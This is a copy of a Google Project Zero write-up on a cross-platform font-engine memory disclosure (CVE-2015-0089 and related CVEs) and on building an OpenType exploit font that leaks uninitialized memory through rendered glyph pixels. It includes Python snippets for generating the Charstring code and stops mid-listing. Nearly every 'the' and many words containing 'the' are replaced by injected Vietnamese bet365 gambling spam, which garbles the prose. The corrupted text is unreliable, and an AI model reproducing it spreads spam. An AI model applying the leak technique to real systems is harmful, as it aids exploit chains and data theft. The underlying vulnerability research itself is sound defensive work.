Monday, September 14, 2015

Enabling QR codes in Internet Explorer, or a story of a cross-platform memory disclosure

Posted by Mateusz Jurczyk of Google Project Zero

In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous series of posts (parts #1 #2 #3 #4), we discussed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation process of a serious “blend” vulnerability (CVE-2015-0093 / CVE-2015-3052), which was special in that it provided cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker with an extremely powerful primitive (arbitrary out-of-bounds stack operations) allowing a fully reliable arbitrary remote code execution, and affected both a client-side application – Adobe Reader – and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Microsoft Windows kernel. While that bug was definitely cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most severe and technically challenging issue discovered during my Type 1 / OpenType Charstring research conducted several months ago, it was not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only one affecting multiple platforms and certainly not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only interesting one.

In today’s post, I would like to explain cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 root cause and exploitation of a memory disclosure vulnerability discovered in four different products sharing a common ancestor of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir PostScript font engines: cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ATMFD.DLL module in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows kernel (CVE-2015-0089, fixed in March), Adobe Reader (CVE-2015-3049, fixed in May), DirectWrite (CVE-2015-1670, fixed in May) and Windows Presentation Foundation (CVE-2015-1670, fixed in May). Additionally, Oracle Java was also affected by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem (CVE-2015-2619, fixed in July), even though it used a different implementation. When successfully exploited, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 security flaw would allow an attacker to leak uninitialized memory from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process heap or kernel pools, potentially leading to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosure of sensitive information or facilitating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation of a more serious bug by helping defeat exploit mitigations. Both 32 and 64-bit builds of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 affected software were prone to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability. Similarly to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “blend” issue, due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cross-platform nature of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug, it could be used in an exploit chain togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with memory corruption bugs to e.g. provide a de-ASLR primitive for a user-mode application (in order to achieve RCE) and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel itself (to escape cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sandbox or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise elevate attacker’s privileges).

As such, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug would generally allow uninitialized memory to be reflected in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final glyph’s shape as rasterized on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 display. Therefore, in order to actually take advantage of it, it is also necessary to have a way of reading cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pixels back and recovering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original uninitialized bytes. We are not currently aware of any such way to attack Adobe Reader (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vendor still decided to fix cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue in case it became exploitable in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 feature), and we have not developed a functional proof of concept for WPF or Java eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r, considering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m marginal attack vectors. The two most important pieces of software where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug could matter cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows kernel and DirectWrite library.

Nowadays, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are few to none client programs using Windows GDI for font rasterization and offering cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 capability to read pixels back by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker-controlled input file (for example Google Chrome used GDI in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 past, but only until mid 2014). Consequently, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel instance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug would only be useful in a local scenario, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker already executes arbitrary code on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 machine (perhaps in a sandboxed environment) and tries to elevate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir privileges or steal sensitive data from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 kernel address space.

On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DirectWrite library is used by a number of Windows web browsers which support cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HTML5 tag and related Javascript methods such as fillText or getImageData, making it possible for a website to retrieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rasterized text’s pixels back and eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r act upon cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m (to exploit anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r bug), or send cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m to a remote server. Specifically, DirectWrite is used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 three most widespread browsers: Chrome, Firefox and Internet Explorer, which would normally make all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m susceptible to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug. However, both Chrome and Firefox use a precaution mechanism in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 form of a OpenType Sanitiser library, which validates each untrusted font file downloaded from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 web before feeding it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying font rasterizer. Since OTS is based on a whitelisting paradigm, it only allows a very narrow set of Charstring instructions sufficient for 99.9% valid fonts to work correctly, and performs strict checking of a number of OpenType tables as well. In this specific case, it explicitly bans cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “get” instruction required to take advantage of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability, although for an unrelated reason (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 infeasibility to bounds-check cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 index argument):

case ots::kPut:
case ots::kGet:
case ots::kIndex:
 // For now, just call OTS_FAILURE since cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no way to check whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365
 // index argument, |i|, is out-of-bounds or not. Fortunately, no OpenType
 // fonts I have (except malicious ones!) use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operators.
 // TODO(yusukes): Implement cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in a secure way.
 return OTS_FAILURE();

As a result, this leaves us with just Internet Explorer as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only truly vulnerable browser, making it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main focus of this post. Before we get to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploitation part, let’s first learn about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug itself.

Transient arrays and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability

The “transient array” structure is a fully accessible array of 32-bit numeric entries, which is persistent throughout cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 execution of a single Charstring program. It is a part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Charstring execution environment (togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 instruction stream and operand stack), and can be thought of as a helper storage with random read/write access.

In Type 1 fonts, it can be pre-initialized by specifying a “/BuildCharArray” array in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Private Dictionary, and its size can be arbitrarily controlled by a 16-bit “/lenBuildCharArray” entry of type “number”. In OpenType fonts, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length could initially also be controlled via a “lenBuildCharArray” field as part of a “MultipleMaster” operator in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CFF data – that was between 1998 and 2000, when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 multiple masters extension was part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 official OpenType/CFF specification (see The Compact Font Format Specification, Technical Note #5176, Version 1.0, 18 March 1998). Once cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extension was removed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subsequent revision of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specs in 2000, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 length of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array was fixed at 32 entries (each 32-bit wide), as distinctly noted in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 implementation limits table shown in Figure 1.

Figure 1. Implementation limits of Type 2 Charstring interpreters (source: The Type 2 Charstring Format, Adobe Systems Inc.)

There are generally four instructions which can be used to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array:
  1. “get” – copies data from transient array to operand stack.
  2. “put” – copies data from operand stack to transient array.
  3. “load” – copies data from registry object to transient array (deprecated).
  4. “store” – copies data from transient array to registry object (deprecated).

The “load” and “store” instructions were in fact part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 multiple masters functionality (togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “registry object”), and thus officially deprecated in 2000. However, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are still supported in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows kernel (ATMFD.DLL) and were even prone to a severe security issue (CVE-2015-0090), which we managed to exploit for a reliable privilege escalation on Windows 8.1 Update 1 x64. While cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se instructions are not relevant to this blog post, please refer to part #4 of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “One font vulnerability to rule cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m all” post series for more information on this obsolete feature.

The “get” and “put” instructions are more interesting here, as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y allow values to be transferred directly between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two core data structures Charstrings operate on. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “get” instruction section of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Type 2 Charstring specs, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following warning can be found:

If get is executed prior to put for i during execution of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current charstring, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value returned is undefined.

This definitely makes sense, as no valid font should attempt to read from a transient array index that has not been previously initialized. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 term “undefined behavior” used in a specification should raise any bughunter’s eyebrow. What happens if we actually perform such an action? You guessed it – a junk 32-bit value which accidentally occupies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying transient array allocation will be copied to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 culprit of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability.

The Charstring interpreters found in all affected programs and systems exhibit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same behavior – cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y lazily allocate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array upon first access, and until recently, none of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m pre-initialized cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory area prior to making it accessible to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 executed font program. As a result, a malicious Charstring could copy any of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uninitialized 32 dwords (in case of OpenType, which is supported by all vulnerable software) or N dwords (in case of Type 1, supported by ATMFD.DLL and Java) to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack, and furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r work with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value to fully and clearly represent cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 shape drawn by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rasterizer.

While setting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyph’s program to a “x get” instruction sequence to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability is a trivial task, constructing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PostScript program such that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 full 32-bit value is reflected on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 display is indefinitely more challenging. The next section outlines cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 steps necessary to generate a universal OpenType font whose glyphs represent cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uninitialized data obtained by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “get” instruction invocations, which can be later used to read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytes back in various vulnerable environments.

Building cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit font

The choice of using an OpenType font as a proof of concept is dictated by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 format is supported by all affected pieces of software, while Type 1 doesn’t work with DirectWrite; however, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability could be exploited with both formats in products which support cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m. For example, Type 1 fonts could be used to disclose uninitialized memory from an arbitrarily-sized pool allocation in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Windows kernel, while .OTF are limited to a fixed-size array, so using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 older format might be more useful in some scenarios.

Back to OpenType, we know from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous section that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array is always 32 element long, each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m 32-bit wide. As a result, it is possible to disclose 1024 bits (or 128 bytes) with a single glyph. This is a racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r convenient size, as dynamic memory regions of size 128 are typically allocated from low-fragmentation heaps or pools, frequently reusing a range of bytes that was previously occupied by a freed allocation. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 downside, we are limited to this one, specific length, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365refore have somewhat little control over which past allocations will be assigned to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array.

In order to reflect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosed bytes in a way easy to read back, let’s assume that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “canvas” we are drawing on is a square of 2048x2048 units, divided into a matrix of 32 rows and 32 columns of width/height 64 units. As a result, we end up with 1024 squares of size 64x64, with each square representing a single disclosed bit. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 columns will represent one dword from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 transient array. This concept is illustrated in Figure 1.

Figure 1. The representation of disclosed transient array entries on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyph matrix.

If we take a random OpenType font from disk as a template, we first have to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 width and height of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 glyphs used for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 disclosure to 2048 in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “hmtx” and “vmtx” tables, respectively (changing several ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r metrics-related fields might be required, too). This can be trivially achieved by using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ttx.py font (de)compiler of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fonttools suite, which is capable of converting TTF/OTF fonts to a human-readable XML representation and back. The rest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 work is to be performed directly in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Charstring program.

An important thing to note is that while cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack consists of 32-bit values, various instructions can interpret cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m in various ways – some will use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 full width, while ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r will treat it as a Fixed 16.16 value and only use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 integer part (high 16 bits). Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, font (de)compilers such as ttx.py or (de)type1 from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 AFDKO suite apply cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own logic to control when values are encoded as 16.16 or 32-bit values. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, it is essential for us to maintain complete control over how cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand values are stored on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are correctly used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 corresponding instructions. As a result, I have created my own simplistic implementation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CFF format in Python, in order to be able to operate directly on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 binary representation of Charstring opcodes and eliminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 potentially unpredictable compiler behavior. While full source code of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser will not be shared, I will quote cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 portions responsible for generating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit PostScript program.

To begin with, I defined two functions designed to push immediate numbers on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack – cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first one, “enc”, performs a regular encoding according to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Type 1 / Type 2 specification, while “enc_dword” always uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 special opcode 255 to make sure that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value is pushed as a dword. Both of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m are shown in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 listing below:

def enc(x):
 if (x >= -107) and (x <= 107):
   return struct.pack('B', x + 139)
 elif (x >= 108) and (x <= 1131):
   b1 = (x - 108) % 256
   b0 = ((x - 108 - b1) / 256) + 247
   return struct.pack('BB', b0, b1)
 elif (x >= -1131) and (x <= -108):
   x = -x
   b1 = (x - 108) % 256
   b0 = ((x - 108 - b1) / 256) + 251
   return struct.pack('BB', b0, b1)
 elif (x >= -32768) and (x <= 32767):
   return struct.pack('>Bh', 28, x)
 elif (x >= -(2**31)) and (x <= 2**31 - 1):
   return struct.pack('>Bi', 255, x)
 elif (x <= 2**32 - 1):
   return struct.pack('>BI', 255, x)
 raise "Unable to encode value %x" % x

def enc_dword(x):
 if (x >= -(2 ** 31) and x <= 0):
   return struct.pack('>Bi', 255, x)
 elif (x <= 2**32 - 1):
   return struct.pack('>BI', 255, x)
 raise "Unable to encode value %x" % x

Now, with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 assumptions established above and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that we are starting drawing from point (0, 0), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memory disclosure algorithm could look like cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following:

initialize cursor at (0, 0)
for each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 transient array items (x):
 for each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32 bits in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 item (y):
   leak y-th bit of transient array entry `x`
   if disclosed bit is set:
     draw a 64x64 square
   move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer up by 64 units
 move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pointer right by 64 and down by 2048 units (start a new column)
end character outline

Since loops are not supported in PostScript fonts (or any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r forms of jumps for that matter, contrary to TrueType programs), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two “for” loops will have to be located in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Python Charstring generation code instead, unfortunately resulting in a lot of code duplication and a very long disclosure procedure, as each of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 1024 bits will be leaked and drawn by a separate piece of Charstring code.

Extracting bits off 32-bit values

Let’s start with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit-leaking primitive. Ideally, we would want a function of prototype leak_bit(dword, bit), which would return Charstring code resulting in having cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 given bit of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 specified transient array index pushed on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack as eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 0 or 1. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code snippets below, I will use my custom Python wrappers for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PostScript instructions, implemented in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following manner:

def exch(num1, num2):
 return (num1 + num2 + EXCH_OPCODE)

One way to extract a specific bit value from a 32-bit dword with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 instructions available in Type 1 and Type 2 Charstrings is as follows:
  1. Clear all bits more significant than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one we are trying to leak by using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “ifelse” and “sub” operators.
  2. Perform a 32-bit comparison of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting value with 2bit. If it’s greater or equal (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit is set), return 1, ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise 0.

Now, let’s work on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 example value 0xDEADBEEF. Since items on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack are treated as signed integers, we might run into problems if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most significant bit is set (indicating a negative value), as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 comparison in step 2 would always have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same result. Therefore, let’s start cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function with handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 special case of extracting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 31st (most significant) bit of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dword:

if bit == 31:
 payload = ifelse(enc(0), enc(1), enc(0), get(enc(dword)))

Here, we are using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 “ifelse” instruction to compare cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 32-bit disclosed value (4th argument) with 0 (3rd argument), and end up with 1 on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack if it’s lower (2nd argument), or 0 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise (1st argument). Easy and simple. Interpreted as a signed 32-bit integer, 0xDEADBEEF is a negative number (-559038737), resulting in “ifelse” putting “1” on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack, which indeed corresponds to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 highest bit in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value.

To also work around cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 signedness issue when requesting bits ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than 31, we have to reset cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most significant one to enable unsigned arithmetic later on:

else:
 payload = sub(get(enc(dword)), ifelse(enc(0), enc_dword(2 ** 31), enc(0), get(enc(dword))))

Here, subtraction takes place between cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uninitialized value and eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r 0—if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 value is greater or equal 0 (msb is clear)—or 0x80000000 (231) if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit is set. Consequently, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting number on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 operand stack has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 31st bit zeroed out; in our case, 0xDEADBEEF would be converted to 0x5EADBEEF. Now, we would also like to clear all bits more significant than cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 one we’re interested in, say cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 28th one. This can be accomplished in a similar fashion with a combination of “sub” and “ifelse” instructions – if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 intermediate number is greater or equal to 2n for a decreasing value of n, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n 2n is subtracted, clearing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 corresponding bit (ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise it’s already zero):

 for i in range(30, bit, -1):
